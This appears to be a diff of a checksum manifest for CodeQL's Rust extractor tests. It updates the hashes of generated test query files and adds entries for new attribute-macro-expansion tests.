6ce362fb4df37210ce491e2ef4e04c0899a67c7e15b746c37ef87a42b2b5d5f9 5209c8a64d5707e50771521850ff6deae20892d85a82803aad1328c2d6372d09 @@ -818,9 +833,10 @@ test/extractor-tests/generated/FormatArgsExpr/FormatTemplateVariableAccess.ql 27 test/extractor-tests/generated/FormatArgsExpr/Format_getArgumentRef.ql 634efdffaae4199aa9d95652cf081a8dc26e88224e24678845f8a67dc24ce090 d0302fee5c50403214771d5c6b896ba7c6e52be10c9bea59720ef2bb954e6f40 test/extractor-tests/generated/FormatArgsExpr/Format_getPrecisionArgument.ql 0d2140f84d0220b0c72c48c6bd272f4cfe1863d1797eddd16a6e238552a61e4d f4fe9b29697041e30764fa3dea44f125546bfb648f32c3474a1e922a4255c534 test/extractor-tests/generated/FormatArgsExpr/Format_getWidthArgument.ql 01ef27dd0bfab273e1ddc57ada0e079ece8a2bfd195ce413261006964b444093 acd0161f86010759417015c5b58044467a7f760f288ec4e8525458c54ae9a715 -test/extractor-tests/generated/Function/Function.ql c1c2a9b68c35f839ccd2b5e62e87d1acd94dcc2a3dc4c307c269b84b2a0806e6 1c446f19d2f81dd139aa5a1578d1b165e13bddbaeab8cfee8f0430bced3a99ab +test/extractor-tests/generated/Function/Function.ql 2efae1916e8f501668b3dbb2237cda788243fdd643683eda41b108dfdc578a90 6ec948518963985ec41b66e2b3b2b953e1da872dcd052a6d8c8f61c25bf09600 test/extractor-tests/generated/Function/Function_getAbi.ql e5c9c97de036ddd51cae5d99d41847c35c6b2eabbbd145f4467cb501edc606d8 0b81511528bd0ef9e63b19edfc3cb638d8af43eb87d018fad69d6ef8f8221454 test/extractor-tests/generated/Function/Function_getAttr.ql 44067ee11bdec8e91774ff10de0704a8c5c1b60816d587378e86bf3d82e1f660 b4bebf9441bda1f2d1e34e9261e07a7468cbabf53cf8047384f3c8b11869f04e +test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql 17a346a9e5d28af99522520d1af3852db4cae01fb3d290a65c5f84d8d039c345 36fb06b55370828d9bc379cf5fad7f383cdb6f6db6f7377660276943ab0e1ec8 test/extractor-tests/generated/Function/Function_getBody.ql cf2716a751e309deba703ee4da70e607aae767c1961d3c0ac5b6728f7791f608 3beaf4032924720cb881ef6618a3dd22316f88635c86cbc1be60e3bdad173e21 test/extractor-tests/generated/Function/Function_getCrateOrigin.ql acec761c56b386600443411cabb438d7a88f3a5e221942b31a2bf949e77c14b4 ff2387acb13eebfad614b808278f057a702ef4a844386680b8767f9bb4438461 test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql 0bcdca25bb92424007cea950409d73ba681e3ffbea53e0508f1d630fccfa8bed ff28c3349f5fc007d5f144e549579bd04870973c0fabef4198edce0fba0ef421 @@ -843,9 +859,10 @@ test/extractor-tests/generated/IfExpr/IfExpr_getAttr.ql f5872cdbb21683bed689e753 test/extractor-tests/generated/IfExpr/IfExpr_getCondition.ql 5bab301a1d53fe6ee599edfb17f9c7edb2410ec6ea7108b3f4a5f0a8d14316e3 355183b52cca9dc81591a09891dab799150370fff2034ddcbf7b1e4a7cb43482 test/extractor-tests/generated/IfExpr/IfExpr_getElse.ql 8674cedf42fb7be513fdf6b9c3988308453ae3baf8051649832e7767b366c12f e064e5f0b8e394b080a05a7bccd57277a229c1f985aa4df37daea26aeade4603 test/extractor-tests/generated/IfExpr/IfExpr_getThen.ql 0989ddab2c231c0ee122ae805ffa0d3f0697fb7b6d9e53ee6d32b9140d4b0421 81028f9cd6b417c63091d46a8b85c3b32b1c77eea885f3f93ae12c99685bfe0a -test/extractor-tests/generated/Impl/Impl.ql c473ab1d919fc56b641684b9eb7ba0e65defe554e1bb2fa603b8246a896aa574 16f2f7d8456aee81b395bf8e44fcf0562cfa44294fa03e4f85f3b06f5ff1c57f +test/extractor-tests/generated/Impl/Impl.ql 3a82dc8738ad09d624be31cad86a5a387981ec927d21074ec6c9820c124dfd57 8fabe8e48396fb3ad5102539241e6b1d3d2455e4e5831a1fa2da39e4faf68a0e test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql cf875361c53c081ac967482fd3af8daf735b0bc22f21dcf0936fcf70500a001a 0ad723839fa26d30fa1cd2badd01f9453977eba81add7f0f0a0fcb3adb76b87e test/extractor-tests/generated/Impl/Impl_getAttr.ql 018bdf6d9a9724d4f497d249de7cecd8bda0ac2340bde64b9b3d7c57482e715b cd065899d92aa35aca5d53ef64eadf7bb195d9a4e8ed632378a4e8c550b850cd +test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql 526d4651f2bc703ee107f72b9940a3062777645d2421a3522429bf1d3925f6a2 c08c3d7501552987e50b28ab12a34abd539f6a395b8636167b109d9a470f195e test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql 494d5524ef7bac1286b8a465e833e98409c13f3f8155edab21d72424944f2ed9 b238ef992fce97699b14a5c45d386a2711287fd88fa44d43d18c0cdfd81ed72c test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql 3ab82fd7831d22c7ec125908abf9238a9e8562087d783c1c12c108b449c31c83 320afd5dd1cea9017dbc25cc31ebe1588d242e273d27207a5ad2578eee638f7e test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql 88d5cd8fd03cb4cc2887393ee38b2e2315eeef8c4db40a9bd94cf86b95935bdd 9c72828669ccf8f7ca39851bc36a0c426325a91fc428b49681e4bb680d6547a9 @@ -897,16 +914,18 @@ test/extractor-tests/generated/LoopExpr/LoopExpr_getLoopBody.ql 0267f54077640f3d test/extractor-tests/generated/MacroBlockExpr/MacroBlockExpr.ql 03144a5448de91801037f3c1e6d29a230e18f9c077c718e5c3801a31cf593977 9a035e3f119b0e0c88fc4c775a032220a01680fbea2cc7f8e98180205b9bb8da test/extractor-tests/generated/MacroBlockExpr/MacroBlockExpr_getStatement.ql 415a762768df2c850d21742daab5e53cd248dc3dc9652414b99737f1d5c5824b bdd2ba6c004ada34f26dac3bbc7abcd5fe250c77a97faa7fd71fb54a0dd4743a test/extractor-tests/generated/MacroBlockExpr/MacroBlockExpr_getTailExpr.ql 8f6604c09e85da1a19b0f87340cebeb1cdf4e94b208305c7393082d88cf0b032 5081d9db5b38454fad1daad2f8972661bd2fb4cce2c815a560a15f8a7b9cfcee -test/extractor-tests/generated/MacroCall/MacroCall.ql f41552ce4c8132db854132e445aa0c8df514bfd375aa71cc9ed0ae838b7df9f1 442ecbe1481084bb072c6f8cf0eb595b7ad371587e8708610a10f2cc718535f7 +test/extractor-tests/generated/MacroCall/MacroCall.ql 992e338a9c1353030f4bb31cae6ae4a1b957052e28c8753bae5b6d33dbe03fe9 863fbfd712a4f9ed613abb64ecb814b0a72b9ab65c50aa0dc5279d319249ae6a test/extractor-tests/generated/MacroCall/MacroCall_getAttr.ql c22a2a29d705e85b03a6586d1eda1a2f4f99f95f7dfeb4e6908ec3188b5ad0ad 9b8d9dcc2116a123c15c520a880efab73ade20e08197c64bc3ed0c50902c4672 +test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql 60cf2c12ec7fc3b25ed2a75bb7f3da5689469a65a418ba68db0ab26d0c227967 7f71c88c67834f82ef4bda93a678a084d41e9acb86808c3257b37dfc6c2908d2 test/extractor-tests/generated/MacroCall/MacroCall_getCrateOrigin.ql 3030e87de6f773d510882ee4469146f6008898e23a4a4ccabcbaa7da1a4e765e a10fe67315eda1c59d726d538ead34f35ccffc3e121eeda74c286d49a4ce4f54 -test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql 757c4a4c32888e4604044c798a3180aa6d4f73381eec9bc28ba9dc71ffcbd03a 27d5edaa2c1096a24c86744aaad0f006da20d5caa28ccfd8528e7c98aa1bead1 test/extractor-tests/generated/MacroCall/MacroCall_getExtendedCanonicalPath.ql 553b810f611014ae04d76663d1393c93687df8b96bda325bd71e264e950a8be9 a0e80c3dac6a0e48c635e9f25926b6a97adabd4b3c0e3cfb6766ae160bcb4ee7 +test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql 1416adaedf6a11680c7261c912aa523db72d015fbfdad3a288999216050380a6 10b87d50f21ac5e1b7706fe3979cab72ecb95f51699540f2659ee161c9186138 test/extractor-tests/generated/MacroCall/MacroCall_getPath.ql 160edc6a001a2d946da6049ffb21a84b9a3756e85f9a2fb0a4d85058124b399a 1e25dd600f19ef89a99f328f86603bce12190220168387c5a88bfb9926da56d9 test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.ql 1cbf6b1ac7fa0910ff299b939743153fc00ad7e28a9a70c69a8297c6841e8238 570380c0dc4b20fe25c0499378569720a6da14bdb058e73d757e174bdd62d0c0 -test/extractor-tests/generated/MacroDef/MacroDef.ql b8186c22beb7f818a30fe80f36d2e4207887445863e4deeae88bd03c24863dbb 71bebfb1b57b56ea479bc6edd714a4f01bfce2fa8e12fb9eb1481f9dffa4515e +test/extractor-tests/generated/MacroDef/MacroDef.ql 13ef4bdde6910b09cefe47f8753f092ed61db4d9f3cece0f67071b12af81991c a68091e30a38a9b42373497b79c9b4bde23ef0ab8e3a334ff73bfdde0c9895b2 test/extractor-tests/generated/MacroDef/MacroDef_getArgs.ql 61f11d6ba6ea3bd42708c4dc172be4016277c015d3560025d776e8fef447270f 331541eff1d8a835a9ecc6306f3adf234cbff96ea74b0638e482e03f3e336fd1 test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql 0a30875f7b02351a4facf454273fb124aa40c6ef8a47dfe5210072a226b03656 8e97307aef71bf93b28f787050bfaa50fe95edf6c3f5418acd07c1de64e62cc1 +test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql bd076cf1bab968a1502467652d73259d1ce0fe7f8af73bdf914e2ed1d903adf7 4673df049b36082be9a5b325f6afa7118b930bccdb5689e57ff7192b21d07345 test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql 7b350f48e6f208d9fa4725919efd439baf5e9ec4563ba9be261b7a17dacc451b 33f99a707bb89705c92195a5f86055d1f6019bcd33aafcc1942358a6ed413661 test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql 6c46366798df82ed96b8fb1efeb46bd84c2660f226ff2359af0041d5cdf004ba 8ab22599ef784dcad778d86828318699c2230c8927ae98ab0c60ac4639d6d1b5 test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql d09b262b8e5558078506ec370255a63c861ca0c41ab9af3eb4f987325dadd90c cd466062c59b6a8ea2a05ddac1bf5b6d04165755f4773867774215ec5e79afa3 @@ -918,8 +937,9 @@ test/extractor-tests/generated/MacroItems/MacroItems.ql 876b5d2a4ce7dcb599e02208 test/extractor-tests/generated/MacroItems/MacroItems_getItem.ql 53fc2db35a23b9aca6ee327d2a51202d23ddf482e6bdd92c5399b7f3a73959b1 63051c8b7a7bfbe9cc640f775e753c9a82f1eb8472989f7d3c8af94fdf26c7a0 test/extractor-tests/generated/MacroPat/MacroPat.ql d9ec72d4d6a7342ee2d9aa7e90227faa31792ca5842fe948d7fdf22597a123b7 74b0f21ef2bb6c13aae74dba1eea97451755110909a083360e2c56cfbc76fd91 test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.ql 398996f0d0f2aa6d3b58d80b26c7d1185b5094d455c6c5c7f075f6d414150aa6 b4662e57cac36ed0e692201f53ba46c3d0826bba99c5cc6dfcb302b44dd2154b -test/extractor-tests/generated/MacroRules/MacroRules.ql e8a243a1aa368d44c963d81b4459aa6eba7caf514d4865af5007cc33fe53dde4 9e9114cb808239e3bb15403cf5712f8dbaf4e2719e74efddbb800ec0be19f06a +test/extractor-tests/generated/MacroRules/MacroRules.ql 3c88db0c2ba65a1871340a5e940b66d471477852a1e3edba59a86234b7a9c498 98778dd95d029e4801c42081238db84a39e3ed60b30932436ea0fb51eedfcda1 test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql 7de501c724e3465520cdc870c357911e7e7fce147f6fb5ed30ad37f21cf7d932 0d7754b89bcad6c012a0b43ee4e48e64dd20b608b3a7aeb4042f95eec50bb6e6 +test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql 461651a72e5f860864ed4342973a666efa5b5749b7fcb00297808352a93f86e0 8b18a507753014f9faf716061d2366f7768dee0e8ea6c04e5276729306f26ce0 test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql fccedeee10ef85be3c26f6360b867e81d4ebce3e7f9cf90ccb641c5a14e73e7d 28c38a03a7597a9f56032077102e7a19378b0f3f3a6804e6c234526d0a441997 test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql a0098b1d945df46e546e748c2297444aaccd04a4d543ba3d94424e7f33be6d26 3bab748c7f5bbe486f30e1a1c422a421ab622f401f4f865afb003915ae47be83 test/extractor-tests/generated/MacroRules/MacroRules_getName.ql 591606e3accae8b8fb49e1218c4867a42724ac209cf99786db0e5d7ea0bf55d5 d2936ef5aa4bbf024372516dde3de578990aafb2b8675bbbf0f72e8b54eb82a8 @@ -953,8 +973,9 @@ test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql 13 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql 77407ac956c897ff7234132de1a825f1af5cfd0b6c1fd3a30f64fe08813d56db d80719e02d19c45bd6534c89ec7255652655f5680199854a0a6552b7c7793249 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql c22504665900715e8a32dd47627111e8cef4ed2646f74a8886dead15fbc85bb5 d92462cf3cb40dcd383bcaffc67d9a43e840494df9d7491339cbd09a0a73427b test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql 9e7bbb7ed60db49b45c3bdf8e01ec58de751889fc394f59ac33f9d6e98200aa1 c055d877e2ff0edc78cce6dd79c78b2881e7940889729cbb5c12e7029ddeb5a3 -test/extractor-tests/generated/Module/Module.ql 4bc4d74921a5af94b124a5010cdf6908cdc9ecf26124e354155fba781009071f acca26579b087ce1fc674703c4d95d8d353075d3021c464d2f3fc06891716774 +test/extractor-tests/generated/Module/Module.ql 9e75a0f22f1f71eb473ebe73e6ffc618cbb59ea9f22b6e8bc85d3fb00b771c52 3eb5201ef046259207cb64fb123a20b01f2e742b7e4dd38400bd24743e2db1ad test/extractor-tests/generated/Module/Module_getAttr.ql b97ae3f5175a358bf02c47ec154f7c2a0bd7ca54d0561517008d59344736d5cd f199116633c183826afa9ab8e409c3bf118d8e626647dbc617ae0d40d42e5d25 +test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql 9f7c04c405d25448ed6d0e7bf1bb7fea851ea0e400db2246151dd705292ae3a8 f55d86901c7cf053cd68cb7ceb4d6b786834d2d35394079326ea992e7fbc9ce1 test/extractor-tests/generated/Module/Module_getCrateOrigin.ql ff479546bf8fe8ef3da60c9c95b7e8e523c415be61839b2fff5f44c146c4e7df b14d3c0577bd6d6e3b6e5f4b93448cdccde424e21327a2e0213715b16c064a52 test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql 55c5b633d05ddbe47d324535a337d5dfed5913ab23cdb826424ddd22009a2a53 ab9e11e334e99be0d4c8d2bd0580657211d05feeeb322fbb5400f07264219497 test/extractor-tests/generated/Module/Module_getItemList.ql 59b49af9788e9d8b5bceaeffe3c3d203038abd987880a720669117ac3db35388 9550939a0e07b11892b38ca03a0ce305d0e924c28d27f25c9acc47a819088969 @@ -985,7 +1006,8 @@ test/extractor-tests/generated/ParenPat/ParenPat.ql 565182ccd81a9b420911b488c083 test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd8706192a16729203448ccc7b0a12ba0abeb0c20757b64fba1 0c66ba801869dc6d48dc0b2bca146757b868e8a88ad9429ba340837750f3a902 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7 -test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql 6d3496449d40e7ea083530de4e407731641c6a1ba23346c6a11b8b844b067995 9d21019a49d856728c8c8b73bcf982076794d8c8c9e2f30e75a9aa31348f5c60 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql 256164a0909def95501022cfbb786026c08c9ef50ff8da9e851a7ca8b1aaeb1f 8bfac08d3261f2c4b84fa3da46722f9c7ca866a6b964b5f1b8f78b81c97ae3f7 test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d @@ -1053,8 +1075,9 @@ test/extractor-tests/generated/SliceTypeRepr/SliceTypeRepr_getTypeRepr.ql a6604f test/extractor-tests/generated/SourceFile/SourceFile.ql c30a3c2c82be3114f3857295615e2ec1e59c823f0b65ea3918be85e6b7adb921 6a5bbe96f81861c953eb89f77ea64d580f996dca5950f717dd257a0b795453e6 test/extractor-tests/generated/SourceFile/SourceFile_getAttr.ql 450404306b3d991b23c60a7bb354631d37925e74dec7cc795452fe3263dc2358 07ffcc91523fd029bd599be28fe2fc909917e22f2b95c4257d3605f54f9d7551 test/extractor-tests/generated/SourceFile/SourceFile_getItem.ql f17e44bc0c829b2aadcb6d4ab9c687c10dc8f1afbed4e5190404e574d6ab3107 1cf49a37cc32a67fdc00d16b520daf39143e1b27205c1a610e24d2fe1a464b95 -test/extractor-tests/generated/Static/Static.ql ac93af3e443bd2339e460a2d5273415da3d8e3e1cbbfc3a0af5b43b559047154 2f38e26764f2a07f5bf6ddadf7ebe9db5e087d784d1f2c4e79766ed10bb97859 +test/extractor-tests/generated/Static/Static.ql f5f71ff62984d3b337b2065b0a5bc13eed71a61bbf5869f1a1977c5e35dfdd50 630c4d30987e3ca873487f6f0cf7f498827ae0ace005005acdd573cf0e660f6e test/extractor-tests/generated/Static/Static_getAttr.ql adb0bbf55fb962c0e9d317fd815c09c88793c04f2fb78dfd62c259420c70bc68 d317429171c69c4d5d926c26e97b47f5df87cf0552338f575cd3aeea0e57d2c2 +test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql 828ba050c964781dace382e4673c232f2aa80aa4e414d371fd421c3afc2b6902 018f8b75e1779829c87299d2d8f1ab5e7fa1aaa153599da789cf29b599d78477 test/extractor-tests/generated/Static/Static_getBody.ql e735bbd421e22c67db792671f5cb78291c437621fdfd700e5ef13b5b76b3684d 9148dc9d1899cedf817258a30a274e4f2c34659140090ca2afeb1b6f2f21e52f test/extractor-tests/generated/Static/Static_getCrateOrigin.ql f24ac3dac6a6e04d3cc58ae11b09749114a89816c28b96bf6be0e96b2e20d37f e4051426c5daa7e73c1a5a9023d6e50a2b46ebf194f45befbe3dd45e64831a55 test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql 6ec02f7ec9cf4cb174a7cdf87921758a3e798c76171be85939614305d773b6a0 c51567dac069fc67ece0aa018ae6332187aa1145f33489093e4aee049d7cea52 @@ -1065,8 +1088,9 @@ test/extractor-tests/generated/StmtList/StmtList.ql 0010df0d5e30f7bed3bd5d916faf test/extractor-tests/generated/StmtList/StmtList_getAttr.ql 78d4bf65273498f04238706330b03d0b61dd03b001531f05fcb2230f24ceab64 6e02cee05c0b9f104ddea72b20097034edb76e985188b3f10f079bb03163b830 test/extractor-tests/generated/StmtList/StmtList_getStatement.ql abbc3bcf98aab395fc851d5cc58c9c8a13fe1bdd531723bec1bc1b8ddbec6614 e302a26079986fa055306a1f641533dfde36c9bc0dd7958d21e2518b59e808c2 test/extractor-tests/generated/StmtList/StmtList_getTailExpr.ql 578d7c944ef42bdb822fc6ce52fe3d49a0012cf7854cfddbb3d5117133700587 64ea407455a3b4dfbb86202e71a72b5abbff885479367b2834c0dd16d1f9d0ee -test/extractor-tests/generated/Struct/Struct.ql 14dc5ead6bed88c2c79d9fd3874198f845d8202290b0931b2d2375c0a397c44a 408b07b6bb40ca09f51d2becd94501cc2b95ec52e04ccc2703c2e25d6577b4c6 +test/extractor-tests/generated/Struct/Struct.ql a4e5d3fe4f994bdf911ebed54a65d237cd5a00510337e911bd5286637bc8ea80 a335224605f3cc35635bf5fd0bebcb50800429c0a82a5aa86a37cb9f6eb3f651 test/extractor-tests/generated/Struct/Struct_getAttr.ql 028d90ddc5189b82cfc8de20f9e05d98e8a12cc185705481f91dd209f2cb1f87 760780a48c12be4581c1675c46aae054a6198196a55b6b989402cc29b7caf245 +test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql a17504527a307615d26c2c4b6c21fe9b508f5a77a741d68ca605d2e69668e385 f755d8965c10568a57ff44432a795a0a36b86007fc7470bc652d555946e19231 test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql 289622244a1333277d3b1507c5cea7c7dd29a7905774f974d8c2100cea50b35f d32941a2d08d7830b42c263ee336bf54de5240bfc22082341b4420a20a1886c7 test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql 866a5893bd0869224fb8aadd071fba35b5386183bb476f5de45c9de7ab88c583 267aedc228d69e31ca8e95dcab6bcb1aa30f9ebaea43896a55016b7d68e3c441 test/extractor-tests/generated/Struct/Struct_getFieldList.ql f45d6d5d953741e52aca67129994b80f6904b2e6b43c519d6d42c29c7b663c42 77a7d07e8462fa608efc58af97ce8f17c5369f9573f9d200191136607cb0e600 @@ -1111,9 +1135,10 @@ test/extractor-tests/generated/TokenTree/TokenTree.ql ba2ef197e0566640b57503579f test/extractor-tests/generated/Trait/AssocItemList.ql 0ea572b1350f87cc09ce4dc1794b392cc9ad292abb8439c106a7a1afe166868b 6e7493a3ace65c68b714e31234e149f3fc44941c3b4d125892531102b1060b2f test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.ql 8149d905f6fc6caeb51fa1ddec787d0d90f4642687461c7b1a9d4ab93a27d65d 8fb9caad7d88a89dd71e5cc8e17496afbdf33800e58179f424ef482b1b765bb1 test/extractor-tests/generated/Trait/AssocItemList_getAttr.ql 06526c4a28fd4fdce04ca15fbadc2205b13dcc2d2de24177c370d812e02540e6 79c8ce6e1f8acc1aaca498531e2c1a0e7e2c0f2459d7fc9fe485fd82263c433f -test/extractor-tests/generated/Trait/Trait.ql e88ff04557cf050a5acb5038537bb4f7a444c85721eaf3e0aa4c10e7e7724c56 e37b9e60fa8cc64ef9e8db1707d2d8c5a62f9804233c939b4aaa39762b9b0a9a +test/extractor-tests/generated/Trait/Trait.ql 064785e9389bdf9abd6e0c8728a90a399af568a24c4b18b32cf1c2be2bcbf0b8 a77e89ac31d12c00d1849cb666ebb1eecc4a612934a0d82cd82ecd4c549c9e97 test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql 05e6896f60afabf931a244e42f75ee55e09c749954a751d8895846de3121f58f def1f07d9945e8d9b45a659a285b0eb72b37509d20624c88e0a2d34abf7f0c72 test/extractor-tests/generated/Trait/Trait_getAttr.ql 9711125fa4fc0212b6357f06d1bc50df50b46168d139b649034296c64d732e21 901b6a9d04055b563f13d8742bd770c76ed1b2ccf9a7236a64de9d6d287fbd52 +test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql 7ea169336dca0fcaf961f61d811c81834ea28b17b2a01dc57a6e89f5bedc7594 d5a542f84149c0ccd32c7b4a7a19014a99aa63a493f40ea6fbebb83395b788a1 test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql d8433d63bb2c4b3befaaedc9ce862d1d7edcdf8b83b3fb5529262fab93880d20 3779f2678b3e00aac87259ecfe60903bb564aa5dbbc39adc6c98ad70117d8510 test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql a2bd16e84f057ed8cb6aae3e2a117453a6e312705302f544a1496dbdd6fcb3e6 b4d419045430aa7acbc45f8043acf6bdacd8aff7fdda8a96c70ae6c364c9f4d1 test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql b27ff28e3aff9ec3369bbbcbee40a07a4bd8af40928c8c1cb7dd1e407a88ffee 2b48e2049df18de61ae3026f8ab4c3e9e517f411605328b37a0b71b288826925 @@ -1121,8 +1146,9 @@ test/extractor-tests/generated/Trait/Trait_getName.ql d4ff3374f9d6068633bd125ede test/extractor-tests/generated/Trait/Trait_getTypeBoundList.ql 8a4eb898424fe476db549207d67ba520999342f708cbb89ee0713e6bbf1c050d 69d01d97d161eef86f24dd0777e510530a4db5b0c31c760a9a3a54f70d6dc144 test/extractor-tests/generated/Trait/Trait_getVisibility.ql 8f4641558effd13a96c45d902e5726ba5e78fc9f39d3a05b4c72069993c499f4 553cf299e7d60a242cf44f2a68b8349fd8666cc4ccecab5ce200ce44ad244ba9 test/extractor-tests/generated/Trait/Trait_getWhereClause.ql b34562e7f9ad9003d2ae1f3a9be1b5c141944d3236eae3402a6c73f14652e8ad 509fa3815933737e8996ea2c1540f5d7f3f7de21947b02e10597006967efc9d1 -test/extractor-tests/generated/TraitAlias/TraitAlias.ql 8870048164ba3c3ea8d4c10e5793d860a4ed3ef0890bf32409827321ddde4b72 9a912ebba80977656e74e1d94478c193164684f01371e23f09817231b58007ff +test/extractor-tests/generated/TraitAlias/TraitAlias.ql c2a36ea7bf5723b9ec1fc24050c99681d9443081386980987bcb5989230a6605 b511356fea3dee5b70fee15369855002775c016db3f292e08293d0bf4b5bd33d test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql 128c24196bfa6204fffd4154ff6acebd2d1924bb366809cdb227f33d89e185c8 56e8329e652567f19ef7d4c4933ee670a27c0afb877a0fab060a0a2031d8133e +test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql 029d261d0bdd6fe5bc30011ac72481bce9e5a6029d52fde8bd00932455703276 cad506346840304954e365743c33efed22049f0cbcbb68e21d3a95f7c2e2b301 test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql 303212122021da7f745050c5de76c756461e5c6e8f4b20e26c43aa63d821c2b6 fdbd024cbe13e34265505147c6faffd997e5c222386c3d9e719cd2a385bde51c test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql 601b6b0e5e7e7f2926626866085d9a4a9e31dc575791e9bd0019befc0e397193 9bd325414edc35364dba570f6eecc48a8e18c4cbff37d32e920859773c586319 test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql 5a40c1760fcf5074dc9e9efa1a543fc6223f4e5d2984923355802f91edb307e4 9fd7ab65c1d6affe19f96b1037ec3fb9381e90f602dd4611bb958048710601fa @@ -1151,8 +1177,9 @@ test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedCrateOri test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedPath.ql 150898b6e55cc74b9ddb947f136b5a7f538ee5598928c5724d80e3ddf93ae499 66e0bd7b32df8f5bbe229cc02be6a07cb9ec0fe8b444dad3f5b32282a90551ee test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.ql 2f99917a95a85a932f423cba5a619a51cada8e704b93c54b0a8cb5d7a1129fa1 759bd02347c898139ac7dabe207988eea125be24d3e4c2282b791ec810c16ea7 test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.ql 615acfcbc475b5c2ffa8e46d023fc2e19d29ee879b4949644a7f0b25c33125e6 81b037af5dcb8a0489a7a81a0ad668ca781b71d4406c123c4f1c4f558722f13e -test/extractor-tests/generated/TypeAlias/TypeAlias.ql 637d4c982691942fabcc99ef4a1765ec794d1271bdd376addb55c9d7ea31230e ef81773e2f1260f66f23ce537080c3273b1cf74f96fba37403d34dc1ee1e0458 +test/extractor-tests/generated/TypeAlias/TypeAlias.ql 5cbf0b82a25a492c153b4663e5a2c0bea4b15ff53fa22ba1217edaf3bb48c6af d28e6a9eafff3fb84a6f38e3c79ad0d54cb08c7609cd43c968efd3fbc4154957 test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql ecf4b45ef4876e46252785d2e42b11207e65757cdb26e60decafd765e7b03b49 21bb4d635d3d38abd731b9ad1a2b871f8e0788f48a03e9572823abeea0ea9382 +test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql fa2f0867039866e6405a735f9251de182429d3f1fdf00a749c7cfc3e3d62a7bb 56083d34fffd07a43b5736479b4d3b191d138415759639e9dd60789fefe5cb6f test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql cd66db5b43bcb46a6cf6db8c262fd524017ef67cdb67c010af61fab303e3bc65 2aebae618448530ec537709c5381359ea98399db83eeae3be88825ebefa1829d test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql 